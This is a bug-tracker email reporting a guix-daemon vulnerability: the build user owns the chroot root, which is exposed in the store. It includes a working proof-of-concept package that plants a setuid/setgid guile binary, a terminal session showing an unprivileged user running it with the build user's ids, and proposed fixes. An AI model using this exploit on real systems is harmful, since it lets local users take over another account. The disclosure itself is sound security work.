Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon

From: Reepca Russelstein <[email-masked]>
Date: Fri, 31 Jan 2025 16:35:24 -0600

I've found another vulnerability in using guix-daemon as the build user:
the chroot root directory is owned by the build user.  By itself this
would normally only cause some reproducibility issues, but that
directory is also visible from the outside world as
/gnu/store/...-packagename.drv.chroot.  Consequently, a simple chmod
from the builder can expose the contents of the chroot, including any
setuid programs.

Demonstration:

--8<---------------cut here---------------start------------->8---
(use-modules (guix)
             (gnu)
             (guix build-system trivial))

(define-public sneakysneaky
  (package
    (name "sneakysneaky")
    (version "0")
    (source #f)
    (build-system trivial-build-system)
    (arguments
     (list
      #:builder
      #~(let ((guile (string-append (assoc-ref %guile-build-info
                                               'bindir)
                                    "/guile")))
          (chmod "/" #o777)
          (copy-file guile "/guile")
          (chmod "/guile" #o6755)
          (sleep 1000)
          (mkdir #$output))))
    (home-page "")
    (synopsis "")
    (description "")
    (license #f)))

sneakysneaky
--8<---------------cut here---------------end--------------->8---

If I save this as /tmp/mal-test3.scm, I can observe the following:

--8<---------------cut here---------------start------------->8---
user@debian:~$ guix build --derivations --no-grafts -f /tmp/mal-test3.scm
/gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv
user@debian:~$ guix build /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv
substitute: looking for substitutes on 'https://bordeaux.guix.gnu.org'... 100.0%
substitute: looking for substitutes on 'https://ci.guix.gnu.org'... 100.0%
The following derivation will be built:
  /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv
building /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv...
  C-c C-z
[1]+  Stopped                 guix build /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv
user@debian:~$ 
user@debian:~$ ls /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv.chroot
dev  etc  gnu  guile  proc  tmp
user@debian:~$ /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv.chroot/guile
guile: warning: failed to install locale
warning: failed to install locale: Invalid argument
GNU Guile 3.0.9
Copyright (C) 1995-2023 Free Software Foundation, Inc.

Guile comes with ABSOLUTELY NO WARRANTY; for details type `,show w'.
This program is free software, and you are welcome to redistribute it
under certain conditions; type `,show c' for details.

Enter `,help' for help.
scheme@(guile-user)> (geteuid)
$1 = 999
scheme@(guile-user)> (getegid)
$2 = 996
scheme@(guile-user)> 
user@debian:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),113(bluetooth),117(scanner)
user@debian:~$ 
--8<---------------cut here---------------end--------------->8---

The security impact of this could be resolved by doing the same thing we
do with build directories - have the actual mounted-into-the-chroot
directory be the "/top" subdirectory of the externally-visible chroot
directory.  In the example above, that would be
/gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv.chroot/top.
Due to the use of pivot_root, the upper .chroot directory would become
completely inaccessible to the builder, ensuring that it remains
inaccessible for unprivileged users.

I'm less sure about how to resolve the impact to reproducibility.  We
could try mounting the root directory specifically as read-only,
perhaps, though my understanding is that this may cause open, chmod, etc
to return EROFS instead of EACCES or EPERM.

- reepca